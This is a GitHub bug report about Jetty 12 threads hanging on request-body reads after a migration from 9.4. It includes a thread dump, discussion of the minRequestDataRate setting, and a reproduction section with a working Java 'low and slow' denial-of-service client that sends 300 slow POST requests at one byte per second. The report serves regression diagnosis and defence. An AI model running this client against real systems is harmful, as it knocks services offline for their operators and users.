Jetty threads stuck on BlockingContentProvider.nextContent

**Jetty version(s)**
12.0.13

**Jetty Environment**
ee8

**Java version/vendor**
21.0.4.7.1/AWS (Corretto)

**OS type/version**
Ubuntu/22.04

**Description**
After migrating our application from Jetty 9.4 to 12, we've encountered an issue with hung Jetty threadpool threads. We're not using virtual threads, and we've ensured no queue limit is set as [per the documentation](https://jetty.org/docs/jetty/12/programming-guide/arch/threads.html#thread-pool-queue).

The problem manifests as Jetty becoming unresponsive, requiring pod recycling to resolve. While the exact trigger is unknown, it may be related to cloud provider network issues or sudden traffic surges.

Thread dumps from affected instances reveal most threads in a WAITING state on `HttpInput.read()`, specifically blocked on `BlockingContentProvider.nextContent()` when attempting to read request bodies. Here is a [similar issue](https://github.com/jetty/jetty.project/issues/12272).

We successfully replicated this state using a "[low and slow](https://en.wikipedia.org/wiki/Slow_DoS_attack)" DoS attack, establishing connections to the Jetty instance and sending data at an extremely slow rate (1 byte per second). In Jetty 9.4, threads recover once the attack stops, but in Jetty 12, they remain stuck indefinitely, necessitating an application restart. This behavior suggests a potential regression introduced between versions 9.4 and 12.

Our investigation led us to the undocumented [minRequestDataRate](https://github.com/jetty/jetty.project/blob/acf33259281419d619d8e392e6f3b2d654bcc914/jetty-core/jetty-server/src/main/java/org/eclipse/jetty/server/HttpConfiguration.java#L78) property. Setting it to 50 prevented the issue in our test environment. However, this configuration may be unreliable due to potential JIT and GC pauses affecting legitimate connections.

While the test environment issue and production problem seem to share an underlying cause, we cannot confirm that the same "low and slow" scenario occurs in production. Consequently, we're uncertain if applying the `minRequestDataRate` setting will resolve the issue in our production environment.

We seek guidance on identifying the root cause of this behavior change between Jetty versions and determining an appropriate solution.

Jetty server dump - [jetty_dump.txt](https://github.com/user-attachments/files/17554198/jetty_dump.txt)

An example of a stuck thread (from thread dump):
```
"qtp1411865437-64" #64 [100] prio=5 os_prio=0 cpu=6877.47ms elapsed=806.24s allocated=1370M defined_classes=14 tid=0x0000ffff818198e0 nid=100 waiting on condition [0x0000ffff4a21f000]
java.lang.Thread.State: WAITING (parking)
at jdk.internal.misc.Unsafe.park(java.base@21.0.4/Native Method)
- parking to wait for <0x00000006121a5f20> (a java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject)
at java.util.concurrent.locks.LockSupport.park(java.base@21.0.4/LockSupport.java:371)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(java.base@21.0.4/AbstractQueuedSynchronizer.java:519)
at java.util.concurrent.ForkJoinPool.unmanagedBlock(java.base@21.0.4/ForkJoinPool.java:3780)
at java.util.concurrent.ForkJoinPool.managedBlock(java.base@21.0.4/ForkJoinPool.java:3725)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(java.base@21.0.4/AbstractQueuedSynchronizer.java:1707)
at org.eclipse.jetty.ee8.nested.AsyncContentProducer$LockedSemaphore.acquire(AsyncContentProducer.java:443)
at org.eclipse.jetty.ee8.nested.BlockingContentProducer.nextContent(BlockingContentProducer.java:106)
at org.eclipse.jetty.ee8.nested.HttpInput.read(HttpInput.java:256)
at org.eclipse.jetty.ee8.nested.HttpInput.read(HttpInput.java:242)
at org.eclipse.jetty.ee8.nested.HttpInput.read(HttpInput.java:233)
at org.glassfish.jersey.message.internal.EntityInputStream.isEmpty(EntityInputStream.java:177)
at org.glassfish.jersey.message.internal.InboundMessageContext.hasEntity(InboundMessageContext.java:564)
at com.company.common.jaxrsprovider.logging.CaptureFilter.filter(CaptureFilter.java:113)
at org.glassfish.jersey.server.ContainerFilteringStage.apply(ContainerFilteringStage.java:108)
at org.glassfish.jersey.server.ContainerFilteringStage.apply(ContainerFilteringStage.java:44)
at org.glassfish.jersey.process.internal.Stages.process(Stages.java:173)
at org.glassfish.jersey.server.ServerRuntime$1.run(ServerRuntime.java:248)
at org.glassfish.jersey.internal.Errors$1.call(Errors.java:248)
at org.glassfish.jersey.internal.Errors$1.call(Errors.java:244)
at org.glassfish.jersey.internal.Errors.process(Errors.java:292)
at org.glassfish.jersey.internal.Errors.process(Errors.java:274)
at org.glassfish.jersey.internal.Errors.process(Errors.java:244)
at org.glassfish.jersey.process.internal.RequestScope.runInScope(RequestScope.java:265)
at org.glassfish.jersey.server.ServerRuntime.process(ServerRuntime.java:235)
at org.glassfish.jersey.server.ApplicationHandler.handle(ApplicationHandler.java:684)
at org.glassfish.jersey.servlet.WebComponent.serviceImpl(WebComponent.java:394)
at org.glassfish.jersey.servlet.WebComponent.service(WebComponent.java:346)
at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:359)
at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:312)
at org.glassfish.jersey.servlet.ServletContainer.service(ServletContainer.java:205)
at org.eclipse.jetty.ee8.servlet.ServletHolder$NotAsync.service(ServletHolder.java:1146)
at org.eclipse.jetty.ee8.servlet.ServletHolder.handle(ServletHolder.java:640)
at org.eclipse.jetty.ee8.servlet.ServletHandler.doHandle(ServletHandler.java:456)
at org.eclipse.jetty.ee8.nested.ScopedHandler.handle(ScopedHandler.java:119)
at org.eclipse.jetty.ee8.security.SecurityHandler.handle(SecurityHandler.java:497)
at org.eclipse.jetty.ee8.nested.HandlerWrapper.handle(HandlerWrapper.java:108)
at org.eclipse.jetty.ee8.nested.ScopedHandler.nextHandle(ScopedHandler.java:183)
at org.eclipse.jetty.ee8.nested.SessionHandler.doHandle(SessionHandler.java:516)
at org.eclipse.jetty.ee8.nested.ScopedHandler.nextHandle(ScopedHandler.java:181)
at org.eclipse.jetty.ee8.nested.ContextHandler.doHandle(ContextHandler.java:879)
at org.eclipse.jetty.ee8.nested.ScopedHandler.nextScope(ScopedHandler.java:152)
at org.eclipse.jetty.ee8.servlet.ServletHandler.doScope(ServletHandler.java:423)
at org.eclipse.jetty.ee8.nested.ScopedHandler.nextScope(ScopedHandler.java:150)
at org.eclipse.jetty.ee8.nested.SessionHandler.doScope(SessionHandler.java:500)
at org.eclipse.jetty.ee8.nested.ScopedHandler.nextScope(ScopedHandler.java:150)
at org.eclipse.jetty.ee8.nested.ContextHandler.doScope(ContextHandler.java:824)
at org.eclipse.jetty.ee8.nested.ScopedHandler.handle(ScopedHandler.java:117)
at org.eclipse.jetty.ee8.nested.ContextHandler.handle(ContextHandler.java:1422)
at org.eclipse.jetty.ee8.nested.HttpChannel$RequestDispatchable.dispatch(HttpChannel.java:1294)
at org.eclipse.jetty.ee8.nested.HttpChannel.dispatch(HttpChannel.java:624)
at org.eclipse.jetty.ee8.nested.HttpChannel.handle(HttpChannel.java:456)
at org.eclipse.jetty.ee8.nested.ContextHandler$CoreContextHandler$CoreToNestedHandler.handle(ContextHandler.java:2375)
at org.eclipse.jetty.server.handler.ContextHandler.handle(ContextHandler.java:1060)
at org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:151)
at org.eclipse.jetty.server.handler.gzip.GzipHandler.handle(GzipHandler.java:597)
at org.eclipse.jetty.server.Handler$Wrapper.handle(Handler.java:740)
at org.eclipse.jetty.server.handler.EventsHandler.handle(EventsHandler.java:81)
at org.eclipse.jetty.server.Server.handle(Server.java:181)
at org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker.run(HttpChannelState.java:661)
at org.eclipse.jetty.server.internal.HttpConnection.onFillable(HttpConnection.java:406)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:322)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:99)
at org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:53)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:478)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:441)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:293)
at org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:201)
at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:311)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:979)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1209)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1164)
at java.lang.Thread.runWith(java.base@21.0.4/Thread.java:1596)
at java.lang.Thread.run(java.base@21.0.4/Thread.java:1583)

Locked ownable synchronizers:
- None
```

**How to reproduce?**
Use “low and slow” DoS attack against a Jetty-based application where the number of concurrent requests > `jetty.threadPool.maxThreads`. Here is a sample Java code:
```
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class Test {

private static final int NUM_REQUESTS = 300;
private static final String TARGET_URL = "https://your-endpoint";
private static final String CONTENT_TYPE = "application/json";
private static final String PAYLOAD = """
{
"object": {
"field1": 1,
"field2": 2,
"field3": 3,
"field4": 4,
"field5": 5,
"field6": 6,
"field7": 7
}
}
""";

public static void main(String[] args) {
ExecutorService executor = Executors.newFixedThreadPool(NUM_REQUESTS);

for (int i = 0; i < NUM_REQUESTS; i++) {
executor.execute(() -> send());
}

executor.shutdown();
}

private static void send() {
try {
URL url = new URL(TARGET_URL);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();

connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", CONTENT_TYPE);
connection.setRequestProperty("Content-Length", String.valueOf(PAYLOAD.length()));
connection.setRequestProperty("Connection", "keep-alive");

connection.setFixedLengthStreamingMode(PAYLOAD.length());
OutputStream outputStream = connection.getOutputStream();

for (byte b: PAYLOAD.getBytes()) {
outputStream.write(b);
outputStream.flush();
Thread.sleep(1000);
}

outputStream.close();

int responseCode = connection.getResponseCode();
System.out.println("Response Code: " + responseCode);
} catch (Exception e) {
e.printStackTrace();
}
}
}
```